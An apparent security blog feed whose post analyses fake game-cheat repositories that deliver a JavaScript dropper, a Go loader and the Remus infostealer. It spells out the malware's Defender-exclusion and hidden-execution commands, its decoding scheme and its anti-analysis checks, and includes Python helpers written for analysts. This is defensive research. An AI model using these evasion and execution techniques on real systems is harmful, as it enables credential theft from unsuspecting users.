<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-07-29T05:41:34+00:00</updated><id>/feed.xml</id><title type="html">t0asts’ blog</title><author><name>t0asts</name></author><entry><title type="html">Download Meccha Chameleon Cheats, Get Malware</title><link href="/meccha-chameleon" rel="alternate" type="text/html" title="Download Meccha Chameleon Cheats, Get Malware" /><published>2026-07-28T00:00:00+00:00</published><updated>2026-07-28T00:00:00+00:00</updated><id>/meccha-chameleon</id><content type="html" xml:base="/meccha-chameleon"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/cheater.png" alt="Cheater" /></p>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#initial-inspection">Initial Inspection</a></li>
  <li><a href="#dropper">Dropper</a></li>
  <li><a href="#loader">Loader</a></li>
  <li><a href="#stealer">Stealer</a></li>
  <li><a href="#extra">Extra</a></li>
  <li><a href="#iocs">IOCs</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="overview">Overview</h2>

<p>Over the past month, I’ve been playing this game called <a href="https://store.steampowered.com/app/4704690/MECCHA_CHAMELEON/">Meccha Chameleon</a>, which is a hybrid between hide-and-seek and prop hunt, except instead of transforming into a map prop, you paint yourself to blend in with the environment. A group of hunter players search the map to find the hidden players, and caught players are either turned into hunters or sent to spectate. At the time of writing, the game has sold over ten million copies, partially thanks to social media coverage, the game being really entertaining with friends, and the game being $6. As with all games that gain popularity at such a rapid rate and have some competitive element, there is typically an influx of players who want to cheat in the game, and as a result, GitHub and YouTube have seen an increase in fake game cheat advertisements, which instead of providing a cheat, serve an infostealer (who could’ve guessed).</p>

<h2 id="initial-inspection">Initial Inspection</h2>

<p>One of the most popular fake cheat repos with 117 fake stars guides users to a GitHub Pages site hosted on the same repo, which downloads a ZIP containing an NSIS installer, which contains a dummy Electron app to execute a first-stage JavaScript dropper, which downloads and executes a loader with an embedded infostealer payload.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/github.png" alt="GitHub" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/ghpages.png" alt="GitHubPages" /></p>

<p>At the time of writing, several of the similarly themed repos have warnings under issues from potentially affected victims, but the creation of new repos with higher counts of fake stars overshadows those with warning signs.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/ghissue.png" alt="GitHubIssue" /></p>

<p>The downloaded ZIP contains the NSIS installer, setup instructions, including a YouTube tutorial on how to disable Windows Defender, and a data directory containing miscellaneous junk files.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/zipcontents.png" alt="ZIPContents" /></p>

<p>Extracting the installer results in an Electron app bundle, mostly containing junk dependencies.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/installercontent.png" alt="InstallerContent" /></p>

<h2 id="dropper">Dropper</h2>

<p>The resources directory contains the first-stage JavaScript dropper, which is obfuscated using <a href="https://github.com/javascript-obfuscator/javascript-obfuscator">javascript-obfuscator</a>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/resourcescontent.png" alt="ResourcesContent" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/firststagejs.png" alt="FirstStageJS" /></p>

<p>The beginning of the download script defines config-related variables to enable communication with Telegram’s API, along with the URL for the next-stage loader which will inevitably be downloaded and executed.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/firststagejsconfig.png" alt="FirstStageJSConfig" /></p>

<p>When Electron launches the script, the script first checks if the host Electron process is running in an elevated context with <code class="language-plaintext highlighter-rouge">net session</code>, and if not, it relaunches itself with a Base64-encoded <code class="language-plaintext highlighter-rouge">Start-Process -FilePath &lt;path&gt; -Verb RunAs</code> command through PowerShell <code class="language-plaintext highlighter-rouge">-NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand &lt;command&gt;</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/admincheck.png" alt="AdminCheck" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/launchasadmin.png" alt="LaunchAsAdmin" /></p>

<p>Next, a one-pixel hidden Electron browser window is created, with the sole purpose of keeping the host Electron process alive. The assigned user-agent is redundant, as this browser session only navigates to <code class="language-plaintext highlighter-rouge">about:blank</code>, and has no interaction with the Telegram API, which is used later on.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/createhiddenwindow.png" alt="CreateHiddenWindow" /></p>

<p>At this point, the real dropper logic is fired off. First, the public IP of the host is retrieved using the following public APIs: <code class="language-plaintext highlighter-rouge">api.ipify.org</code>, <code class="language-plaintext highlighter-rouge">ifconfig.me/ip</code>, <code class="language-plaintext highlighter-rouge">ipinfo.io/ip</code>, and <code class="language-plaintext highlighter-rouge">icanhazip.com</code>. The first API is prioritized, and the additional APIs are used as fallbacks if the request fails.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/fetchpublicip.png" alt="FetchPublicIP" /></p>

<p>The public API for <code class="language-plaintext highlighter-rouge">ipwho.is</code> is used to retrieve geographic information for the host’s public IP so that a country can be included in the device install notification Telegram message.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/fetchgeolookup.png" alt="FetchGeoLookup" /></p>

<p>Additional system information on the host, such as username, hostname, OS version, datetime, and campaign (build) tag, is collected using Node helper functions <code class="language-plaintext highlighter-rouge">os.userInfo()</code>, <code class="language-plaintext highlighter-rouge">os.hostname()</code>, <code class="language-plaintext highlighter-rouge">os.type()</code>, <code class="language-plaintext highlighter-rouge">os.release()</code>, and <code class="language-plaintext highlighter-rouge">os.arch()</code>. This information is used to prepopulate the body of the device install message that will be sent to Telegram later.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/buildtgmsg.png" alt="BuildTGMsg" /></p>

<p>PowerShell is used to create a hidden Windows Form window, which overlays itself over the user’s primary monitor <code class="language-plaintext highlighter-rouge">[System.Drawing.Rectangle]::FromLTRB(&lt;coords&gt;)</code> and captures a screenshot of the region the form window covers. The image file is saved to the user profile temporary directory, and is removed once the device install Telegram message is sent.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/capturescreenshot.png" alt="CaptureScreenshot" /></p>

<p>At this point, the constructed device install message and screenshot image are sent to the previously configured Telegram chat through a POST request to the Telegram API.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/sendtgmsg.png" alt="SendTGMsg" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/tgapipost.png" alt="TGAPIPost" /></p>

<p>Next, Windows Defender exclusions for the path of the running Electron executable, installation directory of the next stage payload, path of the next stage payload, the <code class="language-plaintext highlighter-rouge">.exe</code> extension, and the <code class="language-plaintext highlighter-rouge">.tmp</code> extension are created, using Windows Management Instrumentation through a VBS script dropped in the user profile temporary directory, which is executed with <code class="language-plaintext highlighter-rouge">wscript.exe //B //Nologo &lt;path&gt;</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/vbsdefenderexclude.png" alt="VBSDefenderExclude" /></p>

<p>In the event the exclusions are not successfully added using the VBS script, a second attempt is made to add them directly to the Windows Defender <code class="language-plaintext highlighter-rouge">Paths</code>, <code class="language-plaintext highlighter-rouge">Extensions</code>, and <code class="language-plaintext highlighter-rouge">Processes</code> registry keys with <code class="language-plaintext highlighter-rouge">reg add</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/regdefenderexclude.png" alt="RegDefenderExclude" /></p>

<p>As a last resort, all the exclusions are added once more using <code class="language-plaintext highlighter-rouge">Add-MpPreference</code> through a Base64-encoded command executed via PowerShell <code class="language-plaintext highlighter-rouge">-NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand &lt;command&gt;</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/psdefenderexclude.png" alt="PSDefenderExclude" /></p>

<p>With all the setup finished, the loader payload download function is called. First, one more Windows Defender exclusion is added for the loader path using <code class="language-plaintext highlighter-rouge">Add-MpPreference</code> through PowerShell to avoid disrupting the loader’s execution.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/psdefenderexcludealt.png" alt="PSDefenderExcludeAlt" /></p>

<p>Next, the loader payload is downloaded from the previously configured payload URL, and written as a <code class="language-plaintext highlighter-rouge">.tmp</code> file to a staging directory in the user profile temporary directory, before being renamed to end with <code class="language-plaintext highlighter-rouge">.exe</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/loaderdownload.png" alt="LoaderDownload" /></p>

<p>The loader payload is finally executed in six different ways by the script, with no error handling (yes, this means it runs six times).</p>

<p>The first execution method uses the Node <code class="language-plaintext highlighter-rouge">spawn()</code> helper function, which is set to execute the loader as a detached process, and hide any attached windows. The second method uses <code class="language-plaintext highlighter-rouge">cmd.exe /c start &lt;path&gt;</code> with the path to the loader. The third method uses <code class="language-plaintext highlighter-rouge">explorer.exe &lt;path&gt;</code>. The fourth method uses <code class="language-plaintext highlighter-rouge">rundll32.exe url.dll,FileProtocolHandler &lt;path&gt;</code>. The fifth method uses <code class="language-plaintext highlighter-rouge">powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath &lt;path&gt; -WindowStyle Hidden"</code>. Finally, the sixth method uses another VBS script using <code class="language-plaintext highlighter-rouge">WScript.Shell</code>, which is run with <code class="language-plaintext highlighter-rouge">wscript.exe //B //Nologo &lt;path&gt;</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/loaderexecute.png" alt="LoaderExecute" /></p>

<h2 id="loader">Loader</h2>

<p>The loader file is a 64-bit Windows PE written in Go whose primary purpose is to manually load the embedded infostealer payload. It constructs an encoded embedded payload buffer, decodes it with the hard-coded key <code class="language-plaintext highlighter-rouge">0x1783c</code>, parses and validates the decoded PE headers, allocates an image-sized <code class="language-plaintext highlighter-rouge">RWX</code> memory region with <code class="language-plaintext highlighter-rouge">VirtualAlloc</code>, maps the PE headers and sections into that region, applies base relocations, resolves imports, and transfers execution to the mapped payload entry point.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/loaderdie.png" alt="LoaderDIE" /></p>

<p>Strangely, the loader is signed with a self-signed certificate that references <code class="language-plaintext highlighter-rouge">auburn.edu</code> as the common name. This may have no significance, but is weird nonetheless.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/loadercert.png" alt="LoaderCert" /></p>

<p>The loader recovers the embedded payload by first reconstructing the payload buffer as it is built on the stack in preparation for it to be decoded. The first few bytes of the encoded payload are stored directly as stack constants, specifically <code class="language-plaintext highlighter-rouge">0x3a6a290797ded2cc</code> and <code class="language-plaintext highlighter-rouge">0x28e565acdca49559</code>. The rest of the payload blob at <code class="language-plaintext highlighter-rouge">0x14014e5e9</code> is copied from the loader data section.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/buildpayload.png" alt="BuildPayload" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/payloadblob.png" alt="PayloadBlob" /></p>

<p>With the payload blob constructed, the decode function is called and passed the payload blob. Using the key <code class="language-plaintext highlighter-rouge">0x1783c</code>, the payload bytes are looped through, with even and odd indexes being handled separately. Even entries subtract <code class="language-plaintext highlighter-rouge">key % 0x35</code> and <code class="language-plaintext highlighter-rouge">17 * index</code>, while odd entries XOR <code class="language-plaintext highlighter-rouge">key % 0x61</code> and <code class="language-plaintext highlighter-rouge">31 * index</code>. The second pass reverses the result of the first pass and swaps adjacent byte pairs. The third pass subtracts the high byte of the key and <code class="language-plaintext highlighter-rouge">3 * index</code>. A final pass XORs the low byte of the key and <code class="language-plaintext highlighter-rouge">5 * index</code>. The result of this is the intact stealer payload.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/decodepass1.png" alt="DecodePass1" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/decodepass2.png" alt="DecodePass2" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/decodepass3.png" alt="DecodePass3" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/decodepass4.png" alt="DecodePass4" /></p>

<p>Next, a PE validation function is called and passed the decoded stealer payload data. The first part of the check is to verify that the stealer payload starts with the DOS <code class="language-plaintext highlighter-rouge">MZ</code> signature, which indicates that the payload has been decoded successfully.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/dosheadercheck.png" alt="DOSHeaderCheck" /></p>

<p>Next, the value for <code class="language-plaintext highlighter-rouge">e_lfanew</code> is read from the payload data and used to verify that the PE header is intact.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/peheadercheck.png" alt="PEHeaderCheck" /></p>

<p>The optional header is parsed out and the magic value is checked to determine if the stealer payload is <code class="language-plaintext highlighter-rouge">PE32</code> (32-bit) or <code class="language-plaintext highlighter-rouge">PE32+</code> (64-bit).</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/optionalheadercheck.png" alt="OptionalHeaderCheck" /></p>

<p>With the payload verified, a helper function is used to call <code class="language-plaintext highlighter-rouge">VirtualAlloc</code> from <code class="language-plaintext highlighter-rouge">kernel32.dll</code> to allocate <code class="language-plaintext highlighter-rouge">RWX</code> (<code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code>) memory for the payload’s <code class="language-plaintext highlighter-rouge">SizeOfImage</code> value.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/memoryalloc.png" alt="MemoryAlloc" /></p>

<p>The payload is copied into the allocated memory in parts, first the PE headers, and then each section of the payload. Next, the loader calls a helper function to apply base relocations and resolve imports that the stealer payload will use. As the stealer payload is manually mapped, the loader must rebuild the IAT. The function is passed the mapped image, its size, the import directory RVA and size, and the PE32 / PE32+ flag. Each <code class="language-plaintext highlighter-rouge">IMAGE_IMPORT_DESCRIPTOR</code> is walked, the referenced DLL is loaded with a wrapper around <code class="language-plaintext highlighter-rouge">LoadLibraryW</code>, and each named or ordinal import is resolved with a wrapper around <code class="language-plaintext highlighter-rouge">GetProcAddress</code>. These resolved addresses are written back into <code class="language-plaintext highlighter-rouge">FirstThunk</code> before the stealer payload is executed.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/importloadlib.png" alt="ImportLoadLib" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/importgetprocadd.png" alt="ImportGetProcAdd" /></p>

<p>At this point, the execution handoff process begins. The loader reads the payload’s <code class="language-plaintext highlighter-rouge">AddressOfEntryPoint</code>, and adds the mapped image base to the entry point RVA and executes the resulting address through the Go foreign function <code class="language-plaintext highlighter-rouge">syscall</code> wrapper for Windows.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/loaderexechandoff.png" alt="LoaderExecHandoff" /></p>

<h2 id="stealer">Stealer</h2>

<p>Now for the interesting part, the stealer, which is later identified as Remus stealer. First, modules <code class="language-plaintext highlighter-rouge">ntdll.dll</code> and <code class="language-plaintext highlighter-rouge">kernel32.dll</code> are resolved by their respective hashes, and the resolved <code class="language-plaintext highlighter-rouge">kernel32.dll</code> module is used to resolve and locate the <code class="language-plaintext highlighter-rouge">LoadLibraryExW</code> API by hash.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/stealerdie.png" alt="StealerDIE" /></p>

<p>The following Python code mirrors the hashing process, and can be used to generate the hashes for other modules or APIs.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">zlib</span>

<span class="k">def</span> <span class="nf">hash</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">seed</span> <span class="o">=</span> <span class="mh">0x471C0FB2</span>
    <span class="k">return</span> <span class="n">zlib</span><span class="p">.</span><span class="n">crc32</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"ascii"</span><span class="p">),</span> <span class="n">seed</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>

<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"kernel32.dll = 0x</span><span class="si">{</span><span class="nb">hash</span><span class="p">(</span><span class="s">'kernel32.dll'</span><span class="p">)</span><span class="si">:</span><span class="mi">08</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"ntdll.dll = 0x</span><span class="si">{</span><span class="nb">hash</span><span class="p">(</span><span class="s">'ntdll.dll'</span><span class="p">)</span><span class="si">:</span><span class="mi">08</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"LoadLibraryExW = 0x</span><span class="si">{</span><span class="nb">hash</span><span class="p">(</span><span class="s">'LoadLibraryExW'</span><span class="p">)</span><span class="si">:</span><span class="mi">08</span><span class="n">x</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/resolveimportsbyhash.png" alt="ResolveImportsByHash" /></p>

<p>Throughout the rest of the binary, there is heavy use of string obfuscation, so it is time to touch on that now to clear things up for later.</p>

<p>Most embedded ASCII and UTF-16 strings are obfuscated using multiplicative XOR logic. A generic Python implementation of this process can be found below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">multiplier</span> <span class="o">=</span> <span class="mh">0xCF71</span>
<span class="n">size</span> <span class="o">=</span> <span class="mi">2</span>

<span class="k">def</span> <span class="nf">decode</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">data</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="n">mask</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="n">size</span> <span class="o">*</span> <span class="mi">8</span><span class="p">))</span> <span class="o">-</span> <span class="mi">1</span>

    <span class="k">for</span> <span class="n">offset</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">size</span><span class="p">):</span>
        <span class="n">index</span> <span class="o">=</span> <span class="n">offset</span> <span class="o">//</span> <span class="n">size</span>
        <span class="n">value</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="n">offset</span> <span class="p">:</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">size</span><span class="p">],</span> <span class="s">"little"</span><span class="p">)</span>
        <span class="n">value</span> <span class="o">^=</span> <span class="p">((</span><span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="n">multiplier</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">mask</span>
        <span class="n">data</span><span class="p">[</span><span class="n">offset</span> <span class="p">:</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">size</span><span class="p">]</span> <span class="o">=</span> <span class="n">value</span><span class="p">.</span><span class="n">to_bytes</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="s">"little"</span><span class="p">)</span>

    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

<span class="n">obfdata</span> <span class="o">=</span> <span class="s">"06cf8b9e3d6eac3d410dd2dc67aca67b9d4a061ab7e94cb9bd88"</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"String: </span><span class="si">{</span><span class="n">decode</span><span class="p">(</span><span class="n">obfdata</span><span class="p">).</span><span class="n">decode</span><span class="p">(</span><span class="s">"utf-16le"</span><span class="p">).</span><span class="n">rstrip</span><span class="p">(</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p>One of the first instances of this string obfuscation can be found with <code class="language-plaintext highlighter-rouge">LoadLibraryExW</code> being used to load <code class="language-plaintext highlighter-rouge">winhttp.dll</code>, which provides the stealer’s networking functionality through its APIs.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/resolvewinhttp.png" alt="ResolveWinhttp" /></p>

<p>Before any collection or C2 communication, a series of anti-sandbox &amp; anti-analysis checks are performed.</p>

<p>The first notable anti-analysis method is a module blacklist check, which starts by obtaining the <code class="language-plaintext highlighter-rouge">PEB</code> of the current process from <code class="language-plaintext highlighter-rouge">GS:[0x60]</code>, reading <code class="language-plaintext highlighter-rouge">PEB-&gt;Ldr</code> at offset <code class="language-plaintext highlighter-rouge">0x18</code>, and locating <code class="language-plaintext highlighter-rouge">PEB_LDR_DATA-&gt;InLoadOrderModuleList</code> at offset <code class="language-plaintext highlighter-rouge">0x10</code>. The module list is walked for each blacklisted hash, and on each occurrence <code class="language-plaintext highlighter-rouge">InLoadOrderLinks.Flink</code> is followed until the list head is returned. For each <code class="language-plaintext highlighter-rouge">LDR_DATA_TABLE_ENTRY</code>, the module name is read from <code class="language-plaintext highlighter-rouge">BaseDllName.Buffer</code> and hashed using the same logic previously used. The hash is then compared against the current blacklisted module hash value, and if a match is found, the stealer bails out. This process repeats itself for 18 blacklisted entries, with a few examples shown below.</p>

<table>
  <thead>
    <tr>
      <th>Blacklisted Module</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>api_log.dll</td>
    </tr>
    <tr>
      <td>apimonitor-x86.dll</td>
    </tr>
    <tr>
      <td>apimonitor-x64.dll</td>
    </tr>
    <tr>
      <td>avghookx.dll</td>
    </tr>
    <tr>
      <td>cmdvrt32.dll</td>
    </tr>
    <tr>
      <td>cmdvrt64.dll</td>
    </tr>
    <tr>
      <td>detours.dll</td>
    </tr>
    <tr>
      <td>dir_watch.dll</td>
    </tr>
    <tr>
      <td>sbiedll.dll</td>
    </tr>
    <tr>
      <td>vmcheck.dll</td>
    </tr>
    <tr>
      <td>wpespy.dll</td>
    </tr>
  </tbody>
</table>

<p>The hashing process shares identical logic with the previous module and API hashing, with the only difference being the seed value.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/moduleblacklisthashing.png" alt="ModuleBlacklistHashing" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/moduleblacklist.png" alt="ModuleBlacklist" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/moduleblacklistcheck.png" alt="ModuleBlacklistCheck" /></p>

<p>The second notable anti-analysis method is a check for a honeypot Outlook PST file. Similar to the majority of other strings, the PST path is obfuscated with the same multiplicative XOR logic, but using a different multiplier value of <code class="language-plaintext highlighter-rouge">0xF1D0</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/outlookpathbytes.png" alt="OutlookPathBytes" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/outlookpath.png" alt="OutlookPath" /></p>

<p>A handle to <code class="language-plaintext highlighter-rouge">%UserProfile%\Documents\Outlook Files</code> is opened through <code class="language-plaintext highlighter-rouge">NtCreateFile</code>, and the directory is enumerated through an <code class="language-plaintext highlighter-rouge">NtQueryDirectoryFile</code> syscall using the wildcarded filename <code class="language-plaintext highlighter-rouge">*.pst</code>. Valid returned <code class="language-plaintext highlighter-rouge">FILE_DIRECTORY_INFORMATION</code> records are used to compare the honeypot file name <code class="language-plaintext highlighter-rouge">honey@pot.com.pst</code> against the record filename. If the file exists, the stealer bails out.</p>

<p>After the Outlook honeypot PST file anti-analysis check, the stealer performs an integrity check against the process image from disk, to determine whether the stealer payload is being executed directly or manually mapped inside the loader process.</p>

<p>The <code class="language-plaintext highlighter-rouge">PEB</code> of the host process is obtained through a read to <code class="language-plaintext highlighter-rouge">GS:[0x60]</code>, and the <code class="language-plaintext highlighter-rouge">ImagePathName</code> is retrieved through <code class="language-plaintext highlighter-rouge">PEB-&gt;ProcessParameters-&gt;ImagePathName</code>. Using this path, a handle is opened through a call to <code class="language-plaintext highlighter-rouge">NtCreateFile</code>, and the contents of the file are read using <code class="language-plaintext highlighter-rouge">NtReadFile</code>. The stored content is checked for a marker value <code class="language-plaintext highlighter-rouge">0xA35DF716</code> at offset <code class="language-plaintext highlighter-rouge">0x30494</code>, which would match if the stealer payload was executed directly from disk, as opposed to being manually mapped. If the marker is found in the file content, a consent message box is displayed to the user in a similar fashion to Lumma stealer, with the title <code class="language-plaintext highlighter-rouge">REMUS</code> and the error message <code class="language-plaintext highlighter-rouge">CANCEL THE RUN TO PREVENT MALWARE FROM EXECUTING</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/userconsentbox.png" alt="UserConsentBox" /></p>

<p>In cases where the marker check results in a mismatch, there is no user consent popup and the stealer continues execution as intended.</p>

<p>Next, a Mersenne Twister state is initialized, whose outputs are later used to generate temporary file names, and the separate per-upload ChaCha20 keys and nonces used to encrypt packaged victim data.</p>

<p>Config-related data, including the embedded C2 domains, is encrypted using ChaCha20, and in preparation for decryption, a global ChaCha20 context is initialized using the key <code class="language-plaintext highlighter-rouge">9e88b8824117d8c3c28138e76b8220123b459e980f32bbd7d4180db74c5e26c0</code>, the nonce <code class="language-plaintext highlighter-rouge">71 ea d3 d4 ad d8 03 50</code>, and an initial block counter of zero.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/chachanonceandkey.png" alt="ChaChaNonceandKey" /></p>

<p>To start the collection process, host environment information and campaign information are retrieved and conglomerated into an <code class="language-plaintext highlighter-rouge">Info.yml</code> host profile as part of the packaged victim data.</p>

<p>The first piece of data included in the profile is the build date of the stealer, which reads as <code class="language-plaintext highlighter-rouge">date: 28.06.2026</code>. Included next is the image path for the host process of the stealer, which is retrieved from the <code class="language-plaintext highlighter-rouge">ImagePathName</code> value of <code class="language-plaintext highlighter-rouge">PEB-&gt;ProcessParameters</code>.</p>

<p>Next, the elevation state of the process is checked by opening a handle to the current process token with <code class="language-plaintext highlighter-rouge">NtOpenProcessToken</code>, and <code class="language-plaintext highlighter-rouge">NtQueryInformationToken</code> is called to retrieve <code class="language-plaintext highlighter-rouge">TokenElevation</code> information. The <code class="language-plaintext highlighter-rouge">TokenIsElevated</code> value is queried and the result is stored in the profile as <code class="language-plaintext highlighter-rouge">elevated: true/false</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/opentoken.png" alt="OpenToken" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/querytoken.png" alt="QueryToken" /></p>

<p>The OS and hardware information collection process is fired off next, and the results are included in the profile. First, the Windows version is identified by collecting the values for <code class="language-plaintext highlighter-rouge">NtMajorVersion</code>, <code class="language-plaintext highlighter-rouge">NtMinorVersion</code>, <code class="language-plaintext highlighter-rouge">NtBuildNumber</code>, and <code class="language-plaintext highlighter-rouge">NtProductType</code> from <code class="language-plaintext highlighter-rouge">KUSER_SHARED_DATA</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/getosversion.png" alt="GetOSVersion" /></p>

